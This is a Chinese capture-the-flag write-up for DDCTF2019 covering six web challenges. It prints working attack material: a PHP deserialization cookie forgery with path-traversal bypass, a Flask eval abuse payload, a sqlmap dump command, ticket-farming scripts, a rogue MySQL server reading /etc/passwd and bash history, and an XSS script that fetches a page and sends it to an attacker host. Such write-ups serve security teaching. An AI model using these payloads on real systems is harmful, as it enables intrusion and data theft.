前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >DDCTF2019

DDCTF2019

作者头像
安恒网络空间安全讲武堂
发布2019-05-09 18:43:35
6580
发布2019-05-09 18:43:35
举报

滴~

这道题的误导很严重

进入题目

URL为 http://117.51.150.246/index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09,将参数解码

代码语言:javascript
复制
>>> 'TmpZMlF6WXhOamN5UlRaQk56QTJOdz09'.decode('base64').decode('base64').decode('hex')'flag.jpg'

存在文件读取,尝试读取页面源码

代码语言:javascript
复制
>>> 'index.php'.encode('hex')'696e6465782e706870'>>> _.encode('base64')'Njk2ZTY0NjU3ODJlNzA2ODcw\n'>>> _[:-1].encode('base64')'TmprMlpUWTBOalUzT0RKbE56QTJPRGN3\n'

解码后获得页面源码

代码语言:javascript
复制
<?php/* * https://blog.csdn.net/FengBanLiuYun/article/details/80616607 * Date: July 4,2018 */error_reporting(E_ALL || ~E_NOTICE);

header('content-type:text/html;charset=utf-8');if(! isset($_GET['jpg']))    header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));echo '<title>'.$_GET['jpg'].'</title>';$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);echo $file.'</br>';$file = str_replace("config","!", $file);echo $file.'</br>';$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64,".$txt."'></img>";/* * Can you find the flag file? * */
?>

发现两处过滤:

代码语言:javascript
复制
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);$file = str_replace("config","!", $file);

所有非[a-zA-Z0-9.]的字符会被过滤,config会被替换为!

访问注释里的CSDN链接,这里有个脑洞,需要根据日期7月4号来查看CSDN博客相应的文章,文章内容是.swp文件泄露,猜测存在泄露且文件名相同

访问 /practice.txt.swp得到内容 f1ag!ddctf.php,因为!被过滤所以用config来替代!,传入参数 b64encode(b64encode(hex("f1agconfigddctf.php")))读源码

代码语言:javascript
复制
<?phpinclude('config.php');$k = 'hello';extract($_GET);if(isset($uid)){    $content=trim(file_get_contents($k));    if($uid==$content)    {        echo $flag;    }    else    {        echo'hello';    }}
?>

这个就是常规的变量覆盖了,传入 http://117.51.150.246/f1ag!ddctf.php?k=practice.txt.swp&uid=f1ag!ddctf.php获得flag:

DDCTF{436f6e67726174756c6174696f6e73}


WEB 签到题

进入页面提示无权限

抓包发现有一个Ajax请求了鉴权接口

修改空值为admin后发包,提示访问某页面

进入新页面,给了源码,开始审计

代码语言:javascript
复制
Class Application {    var $path = '';

    public function response($data, $errMsg = 'success') {        $ret = ['errMsg' => $errMsg,            'data' => $data];        $ret = json_encode($ret);        header('Content-type: application/json');        echo $ret;
    }
    public function auth() {        $DIDICTF_ADMIN = 'admin';        if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {            $this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');            return TRUE;        }else{            $this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error');            exit();        }
    }    private function sanitizepath($path) {    $path = trim($path);    $path=str_replace('../','',$path);    $path=str_replace('..\\','',$path);    return $path;}
public function __destruct() {    if(empty($this->path)) {        exit();    }else{        $path = $this->sanitizepath($this->path);        if(strlen($path) !== 18) {            exit();        }        $this->response($data=file_get_contents($path),'Congratulations');    }    exit();}}



url:app/Session.php


include 'Application.php';class Session extends Application {
    //key建议为8位字符串    var $eancrykey                  = '';    var $cookie_expiration            = 7200;    var $cookie_name                = 'ddctf_id';    var $cookie_path                = '';    var $cookie_domain                = '';    var $cookie_secure                = FALSE;    var $activity                   = "DiDiCTF";

    public function index()    {    if(parent::auth()) {            $this->get_key();            if($this->session_read()) {                $data = 'DiDI Welcome you %s';                $data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);                parent::response($data,'sucess');            }else{                $this->session_create();                $data = 'DiDI Welcome you';                parent::response($data,'sucess');            }        }
    }
    private function get_key() {        //eancrykey  and flag under the folder        $this->eancrykey =  file_get_contents('../config/key.txt');    }
    public function session_read() {        if(empty($_COOKIE)) {        return FALSE;        }
        $session = $_COOKIE[$this->cookie_name];        if(!isset($session)) {            parent::response("session not found",'error');            return FALSE;        }        $hash = substr($session,strlen($session)-32);        $session = substr($session,0,strlen($session)-32);
        if($hash !== md5($this->eancrykey.$session)) {            parent::response("the cookie data not match",'error');            return FALSE;        }        $session = unserialize($session);

        if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){            return FALSE;        }
        if(!empty($_POST["nickname"])) {            $arr = array($_POST["nickname"],$this->eancrykey);            $data = "Welcome my friend %s";            foreach ($arr as $k => $v) {                $data = sprintf($data,$v);            }            parent::response($data,"Welcome");        }
        if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {            parent::response('the ip addree not match'.'error');            return FALSE;        }        if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {            parent::response('the user agent not match','error');            return FALSE;        }        return TRUE;
    }
    private function session_create() {        $sessionid = '';        while(strlen($sessionid) < 32) {            $sessionid .= mt_rand(0,mt_getrandmax());        }
        $userdata = array(            'session_id' => md5(uniqid($sessionid,TRUE)),            'ip_address' => $_SERVER['REMOTE_ADDR'],            'user_agent' => $_SERVER['HTTP_USER_AGENT'],            'user_data' => '',        );
        $cookiedata = serialize($userdata);        $cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);        $expire = $this->cookie_expiration + time();        setcookie(            $this->cookie_name,            $cookiedata,            $expire,            $this->cookie_path,            $this->cookie_domain,            $this->cookie_secure            );
    }}

$ddctf = new Session();$ddctf->index();

注意到关键点:

  • 反序列化类的析构函数存在文件读取
  • 生成session需要密钥 '../config/key.txt'

访问key.txt提示没有权限,看到源码里:

代码语言:javascript
复制
if(!empty($_POST["nickname"])) {    $arr = array($_POST["nickname"],$this->eancrykey);    $data = "Welcome my friend %s";    foreach ($arr as $k => $v) {        $data = sprintf($data,$v);    }    parent::response($data,"Welcome");}

数组里有两个参数,循环sprintf,所以我们可以传入 "nickname=%s",这样第一次循环后:"Welcome my friend %s",第二次循环后 sprintf("welcome my friend %s",$eancrykey),即成功获取密钥

获取密钥后开始伪造session反序列化读文件

我们序列化Application类,成员path修改为 ..././config/flag.txt,这里由于过滤了 ../所以双写绕过

代码语言:javascript
复制
<?php
$a = 'O:11:"Application":1:{s:4:"path";s:21:"..././config/flag.txt";}';echo urlencode($a);echo md5("EzblrbNS".$a);

获得flag


Upload-IMG

这道题是绕过PHP GD库的图像重渲染

具体可看这篇文章:http://www.cnblogs.com/test404/p/6644871.html

我们可以利用工具jpg_payload生成包含恶意代码的图片

工具链接:https://wiki.ioin.in/soft/detail/1q

首先准备一张图片,先上传到服务器,图片将会被重渲染,接着我们将图片下载下来,使用工具插入恶意代码

代码语言:javascript
复制
$ php5 jpg_payload.php 190413104151_339161029.jpg

这时的图片就包含了恶意代码且不会被GD库重渲染抹去,我们再次上传即可获得flag


homebrew event loop

这道题我个人认为出的很好

是一个Flask框架编写,上来就给了源码

代码语言:javascript
复制
# -*- encoding: utf-8 -*-# written in python 2.7__author__ = 'garzon'
from flask import Flask, session, request, Responseimport urllib
app = Flask(__name__)app.secret_key = '*********************'  # censoredurl_prefix = '/d5af31f66147e857'

def FLAG():    print 'invoke flag!!'    return 'FLAG_is_here_but_i_wont_show_you'  # censored

def trigger_event(event):    session['log'].append(event)    if len(session['log']) > 5: session['log'] = session['log'][-5:]    if type(event) == type([]):        request.event_queue += event    else:        request.event_queue.append(event)    print request.event_queue

def get_mid_str(haystack, prefix, postfix=None):    haystack = haystack[haystack.find(prefix) + len(prefix):]    if postfix is not None:        haystack = haystack[:haystack.find(postfix)]    return haystack

class RollBackException:    pass

def execute_event_loop():    valid_event_chars = set(        'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')    resp = None    while len(request.event_queue) > 0:        event = request.event_queue[            0]  # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"        request.event_queue = request.event_queue[1:]        if not event.startswith(('action:', 'func:')): continue        for c in event:            if c not in valid_event_chars:                return 'white list'                break        else:            is_action = event[0] == 'a'            action = get_mid_str(event, ':', ';')            args = get_mid_str(event, action + ';').split('#')            #print action            #print args            try:                event_handler = eval(                    action + ('_handler' if is_action else '_function'))                ret_val = event_handler(args)            except RollBackException:                if resp is None: resp = ''                resp += 'ERROR! All transactions have been cancelled. <br />'                resp += '<a href="./?action:view;index">Go back to index.html</a><br />'                session['num_items'] = request.prev_session['num_items']                session['points'] = request.prev_session['points']                break            except Exception, e:                if resp is None: resp = ''                resp += str(e) # only for debugging                continue            if ret_val is not None:                if resp is None: resp = ret_val                else: resp += ret_val    if resp is None or resp == '': resp = ('404 NOT FOUND', 404)    session.modified = True    return resp

@app.route(url_prefix + '/')def entry_point():    querystring = urllib.unquote(request.query_string)    request.event_queue = []    if querystring == '' or (            not querystring.startswith('action:')) or len(querystring) > 100:        querystring = 'action:index;False#False'    if 'num_items' not in session:        session['num_items'] = 0        session['points'] = 3        session['log'] = []    request.prev_session = dict(session)    trigger_event(querystring)    return execute_event_loop()

# handlers/functions below --------------------------------------

def view_handler(args):    page = args[0]    html = ''    html += '[INFO] you have {} diamonds, {} points now.<br />'.format(        session['num_items'], session['points'])    if page == 'index':        html += '<a href="./?action:index;True%23False">View source code</a><br />'        html += '<a href="./?action:view;shop">Go to e-shop</a><br />'        html += '<a href="./?action:view;reset">Reset</a><br />'    elif page == 'shop':        html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />'    elif page == 'reset':        del session['num_items']        html += 'Session reset.<br />'    html += '<a href="./?action:view;index">Go back to index.html</a><br />'    return html

def index_handler(args):    bool_show_source = str(args[0])    bool_download_source = str(args[1])    if bool_show_source == 'True':
        source = open('eventLoop.py', 'r')        html = ''        if bool_download_source != 'True':            html += '<a href="./?action:index;True%23True">Download this .py file</a><br />'            html += '<a href="./?action:view;index">Go back to index.html</a><br />'
        for line in source:            if bool_download_source != 'True':                html += line.replace('&', '&amp;').replace(                    '\t', '&nbsp;' * 4).replace(' ', '&nbsp;').replace(                        '<', '&lt;').replace('>', '&gt;').replace(                            '\n', '<br />')            else:                html += line        source.close()
        if bool_download_source == 'True':            headers = {}            headers['Content-Type'] = 'text/plain'            headers['Content-Disposition'] = 'attachment; filename=serve.py'            return Response(html, headers=headers)        else:            return html    else:        trigger_event('action:view;index')

def buy_handler(args):    num_items = int(args[0])    if num_items <= 0:        return 'invalid number({}) of diamonds to buy<br />'.format(args[0])    session['num_items'] += num_items    trigger_event(        ['func:consume_point;{}'.format(num_items), 'action:view;index'])

def consume_point_function(args):    point_to_consume = int(args[0])    if session['points'] < point_to_consume: raise RollBackException()    session['points'] -= point_to_consume

def show_flag_function(args):    print 'show_flag'    flag = args[0]    #return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.    return 'You naughty boy! ;) <br />'

def get_flag_handler(args):    print 'get_flag'    if session['num_items'] >= 5:        trigger_event(            'func:show_flag;' +            FLAG())  # show_flag_function has been disabled, no worries    trigger_event('action:view;index')

if __name__ == '__main__':    app.run(debug=True, host='0.0.0.0')

通读一遍我们即可知道,它是基于事件循环处理,它维护了一个事件队列,用 trigger_event函数添加事件,在每次请求时循环处理队列

它的URL都是这样的 http://116.85.48.107:5002/d5af31f66147e857/?action:view;shop,服务器通过读取query_string,也就是 ?后面的字符串,然后解析 :;之间的为action参数, ;之后的为params参数

再读一遍我们即可发现端倪:

  • eval函数,明明多写几个条件判断就可以实现的功能却用了eval函数,这里可能需要利用
  • 买diamond时先加diamond数,然后判断钱不够时再利用存储在 request变量里的 prev_session回滚,这样也就是说不论我们的钱是否够买,都会有一个短暂时期获得了diamond,只不过请求结束时会回滚

首先尝试eval函数,我们看到它是这样的

代码语言:javascript
复制
event_handler = eval(                    action + ('_handler' if is_action else '_function'))ret_val = event_handler(args)

action就是URL里 :和;之间的值,是可控的,我们尝试一下用#注释掉之后的语句可发现,我们能控制event_handler成为任意函数,(但不可调用,因为括号被过滤了)调用需要由它来调用,且传入的参数也为我们可控

但是想尝试调用FLAG函数是不行的,因为FLAG函数0参而event_handler调用时会传入一个参数

这时将两个漏洞点结合起来考虑:

我们利用eval赋值eventhandler为triggerevent函数,并且传入两个事件,分别为购买5个钻石和调用get_flag函数,这样的话整个请求的事件队列执行流程为:

代码语言:javascript
复制
买五个钻石 --> 调用get_flag --> 钱不够,回滚

虽然请求结束回滚了,但是在调用get_flag函数时已经将FLAG函数的结果写入日志了

代码语言:javascript
复制
trigger_event(            'func:show_flag;' +            FLAG())  

而日志存在session里,我们可以将session的jwt解码后读取

故传入payload:action:trigger_event%23;action:buy;5%23action:get_flag;

日志:

解码后获得flag:

3v413v3nt100paNdfLASK_c00k1e


欢迎报名DDCTF

这道题感觉中途改了很多,而且没啥营养......页面挂了我就不截图了

提示:

代码语言:javascript
复制
提示:XSS不是获取cookie提示2:之后是注入

首先进入后是一个报名表单,想到肯定是XSS,而且没有任何过滤(除了过滤了"php",因为题目需要读admin.php)。首先XSS后会在referer发现是从admin.php请求的

读取admin.php

代码语言:javascript
复制
报名表单传入<script src=http://VPS_IP/evil.js></script>
代码语言:javascript
复制
// evil.jsfetch("http://117.51.147.2/Ze02pQYLf5gGNyMn/admin.php").then(o => o.text()).then(v => fetch('http://YOUR_VPS_IP/', {method: 'POST', body: JSON.stringify({k: v})}));

读到源码

代码语言:javascript
复制
<!DOCTYPE html><html lang="en"><head>        <meta charset="UTF-8">        <!--每隔30秒自动刷新-->        <meta http- equiv="refresh" content="30">        <title>DDCTF报名列表</title></head><body>        <table  align="center" >                < thead>                        <tr>                                <th>姓名</th>                                <th>昵称</th>                                <th>备注</th>                                <th>时间</th>                \ t</tr>                </thead>                <tbody>                        <!-- 列表循环展示 -->                                                <tr>                                <td> 1 </td>                                <td> 1 </td>                                <td> <script src=http://xss.tf/kAD></script> </td>                                <td> 2019-04-17 06:11:43 </td>
                        </tr>
                                 ...............
                        </tr>                                                <tr>                                <td>                                        <a target="_blank"  href="index.php">报名</a>                                </td>\ n                     <!-- <a target="_blank"  href="query_aIeMu0FUoVrW0NWPHbN6z4xh.php"> 接口 </a>-->                </tbody>        </table></bo dy></html>

发现注释掉的接口,访问后提示要传入param参数

经过一番探测后发现是宽字节注入,没有任何过滤,只addslash了单引号和过滤了等号,既然过滤这么少那么就SQLMap一把梭吧:

代码语言:javascript
复制
sqlmap.py -u "http://117.51.147.2/Ze02pQYLf5gGNyMn/query_aIeMu0FUoVrW0NWPHbN6z4xh.php?id=%df" --dbms=mysql --technique T --hex - -level 3 -D ctfdb -T ctf_fhmHRPL5 -C ctf_value --dump

大吉大利,今晚吃鸡~

这个题代码逻辑有漏洞.....注册页如果提示用户已注册的话会直接办法cookie,所以也就意味着可以登录任意账号

进入题目需要买票,2000元但我们只有100元

抓包创建订单链接发现价格是前端传入的,尝试修改发现只允许>0,猜测存在整形溢出,尝试uint32,传入2^32

接着点击支付即会在后端发生溢出,成功支付

进入后台

需要输入id和ticket来移除对手,最后吃鸡的话才有flag。所以思路很清楚了,写脚本注册账号,提取id和ticket后给自己大号杀,让大号吃鸡

代码语言:javascript
复制
import requestsimport time
users = (str(i) for i in range(500, 1000))
with open('t', 'a+') as fp:    ts = set(fp.read().split('\n'))    for u in users:        time.sleep(1)        s = requests.Session()        r = s.get(f'http://117.51.147.155:5050/ctf/api/register?name={u}&password=12345678')        print(f'http://117.51.147.155:5050/ctf/api/register?name={u}&password=12345678')        try:            resp = r.json()        except:            pass        if resp['code'] != 404:            continue
        r = s.get('http://38.106.21.229:5000/ctf/api/buy_ticket?ticket_price=4294967296')        r = s.get("http://38.106.21.229:5000/ctf/api/pay_ticket?bill_id=" + r.json()['data'][0]['bill_id'])        r = s.get('http://117.51.147.155:5050/ctf/api/search_ticket')        try:            resp = r.json()        except:            pass
        for tmp in resp['data']:            _id = tmp['id']             t = tmp['ticket']            if str(_id)+'::'+t not in ts:                fp.write(str(_id)+'::'+t+'\n')

批量获取ticket(养猪)

然后杀了他们

代码语言:javascript
复制
import requestsimport time
d = open('t', 'r').read().split('\n')
for i in d:    print(i)    time.sleep(2)    _id = i.split('::')[0]    t  = i.split('::')[1]    r = requests.get(f'http://117.51.147.155:5050/ctf/api/remove_robot?id={_id}&ticket={t}', headers={'Cookie': 'user_name=YOUE_NAME; REVEL_SESSION=YOUR_TOKEN'})                print(r.text)

mysql弱口令

个人感觉这道题出的也挺不错

首先需要在服务器上部署agent.py,说是代理,其实只是在服务器上执行 ps然后返回结果

代码语言:javascript
复制
#!/usr/bin/env python# -*- coding: utf-8 -*-# @Time    : 12/1/2019 2:58 PM# @Author  : fz# @Site    :# @File    : agent.py# @Software: PyCharm
import jsonfrom BaseHTTPServer import HTTPServer, BaseHTTPRequestHandlerfrom optparse import OptionParserfrom subprocess import Popen, PIPE

class RequestHandler(BaseHTTPRequestHandler):
    def do_GET(self):        request_path = self.path
        print("\n----- Request Start ----->\n")        print("request_path :", request_path)        print("self.headers :", self.headers)        print("<----- Request End -----\n")
        self.send_response(200)        self.send_header("Set-Cookie", "foo=bar")        self.send_header("Location", "http://127.0.0.1")        self.end_headers()
        result = self._func()        self.wfile.write(json.dumps(result))

    def do_POST(self):        request_path = self.path
        # print("\n----- Request Start ----->\n")        print("request_path : %s", request_path)
        request_headers = self.headers        content_length = request_headers.getheaders('content-length')        length = int(content_length[0]) if content_length else 0
        # print("length :", length)
        print("request_headers : %s" % request_headers)        print("content : %s" % self.rfile.read(length))        # print("<----- Request End -----\n")
        self.send_response(200)        self.send_header("Set-Cookie", "foo=bar")        self.end_headers()        result = self._func()        self.wfile.write(json.dumps(result))
    def _func(self):        netstat = Popen(['netstat', '-tlnp'], stdout=PIPE)        netstat.wait()
        ps_list = netstat.stdout.readlines()        result = []        for item in ps_list[2:]:            tmp = item.split()            Local_Address = tmp[3]            Process_name = tmp[6]            tmp_dic = {'local_address': Local_Address, 'Process_name': Process_name}            result.append(tmp_dic)        return result
    do_PUT = do_POST    do_DELETE = do_GET

def main():    port = 8123    print('Listening on localhost:%s' % port)    server = HTTPServer(('0.0.0.0', port), RequestHandler)    server.serve_forever()

if __name__ == "__main__":    parser = OptionParser()    parser.usage = (        "Creates an http-server that will echo out any GET or POST parameters, and respond with dummy data\n"        "Run:\n\n")    (options, args) = parser.parse_args()
    main()

所以我们大胆猜测一下,既然是mysql弱口令,那么肯定需要我们的mysql服务器开到公网并且能够hack掉mysql客户端,联想到之前看到的LOAD DATA INFILE读取客户端任意文件

具体请看文章 https://www.anquanke.com/post/id/106488,我就不赘述了

利用这个工具 https://github.com/Gifts/Rogue-MySql-Server

首先在服务器部署agent.py,并且将返回值固定并一定要返回mysqld(这是检测服务器是否开启mysql的),接着让题目的主机扫描你的服务器,题目的主机会 发起查询请求,我们即可读取任意文件

首先读取 /etc/passwd

代码语言:javascript
复制
2019-04-16 10:50:03,847:INFO:Result: '\x02root:x:0:0:root:/root:/bin/bash\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\nadm:x:3:4:adm:/var/adm:/sbin/nologin\nlp:x:4:7:lp:/var/spool/......略tfix:/sbin/nologin\nchrony:x:998:995::/var/lib/chrony:/sbin/nologin\ntcpdump:x:72:72::/:/sbin/nologin\ndc2-user:x:1000:1000::/home/dc2-user:/bin/bash\nmys    ql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash\nmongod:x:997:994:mongod:/var/lib/mongo:/bin/false\nnginx:x:996:993:Nginx web server:/var/lib/nginx:/sbin/nologin\n'

发现我们没有root权限,猜测我们的权限为/etc/passwd中的 dc2-user:x:1000:1000::/home/dc2-user:/bin/bash

读取该用户的历史bash命令: /home/dc2-user/.bash_history

代码语言:javascript
复制
.......略'nls     \ncd ../\nls\ncd env/\nls\ncd ../\nls\ncd web_1/\nls\nls -la\ncd ../../\nls\ncd ctf_web_\ncd ctf_web_2\nls\nls -la\ncd log/\nlks\nls\ncat gunicorn.log \n;s\ncat gunicorn     .err \nls\nnetstat -plnt\nls\nps -aux | grep gunicorn\nls\ncd ../\nls\ncat start.sh \nls\ncd ../\nls\ncd ctf_web_2/\nls\ncat restart.sh \ncat start.sh \nls\ncd ../\nls\n     cd ctf_web_1/\nls\ncd web_1/\nls\ncd ../\nls\ncd ../\nls\ncd ctf_web_2/\nls\ncat restart.sh \nnetstat -plnt\nps -uax | gr)...

再读取程序运行的命令行:/proc/self/cmdline

代码语言:javascript
复制
home/dc2-user/ctf_web_2/ctf_web_2/bin/python2 /home/dc2-user/ctf_web_2/ctf_web_2/bin/gunicorn didi_ctf_web2:app -b 127.0.0.1:15000 --access-logfile /home/dc2-user/ctf_web_2/2_access.log

这样即可得知目录结构,我们循环着读源码(中间因为我们不知道导入的是包还是单文件,所以逐个尝试,不过大多都是包):

最后在views.py里

代码语言:javascript
复制
# flag in mysql  curl@localhost database:security  table:flag

flag在数据库,所以我们尝试读数据库文件,首先读my.cnf确定数据存放的目录:/etc/my.cnf

代码语言:javascript
复制
# read_rnd_buffer_size = 2Mdatadir=/var/lib/mysqlsocket=/var/lib/mysql/mysql.sock
# Disabling symbolic-links is recommended to prevent assorted security riskssymbolic-links=0

这时我们即可读取数据库的文件,数据库文件每个库一个文件夹,每个表单独存放,可能是 tablename.MYDtablename.idb,根据数据库引擎不同而异,读取后即可在其中找到flag

代码语言:javascript
复制
$ strings mysql.log | grep DDCTF
本文参与?腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-04-22,如有侵权请联系?cloudcommunity@tencent.com 删除

本文分享自 恒星EDU 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与?腾讯云自媒体分享计划? ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • WEB 签到题
  • Upload-IMG
  • homebrew event loop
  • 欢迎报名DDCTF
  • 大吉大利,今晚吃鸡~
  • mysql弱口令
相关产品与服务
云数据库 MySQL
腾讯云数据库 MySQL(TencentDB for MySQL)为用户提供安全可靠,性能卓越、易于维护的企业级云数据库服务。其具备6大企业级特性,包括企业级定制内核、企业级高可用、企业级高可靠、企业级安全、企业级扩展以及企业级智能运维。通过使用腾讯云数据库 MySQL,可实现分钟级别的数据库部署、弹性扩展以及全自动化的运维管理,不仅经济实惠,而且稳定可靠,易于运维。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
http://www.vxiaotou.com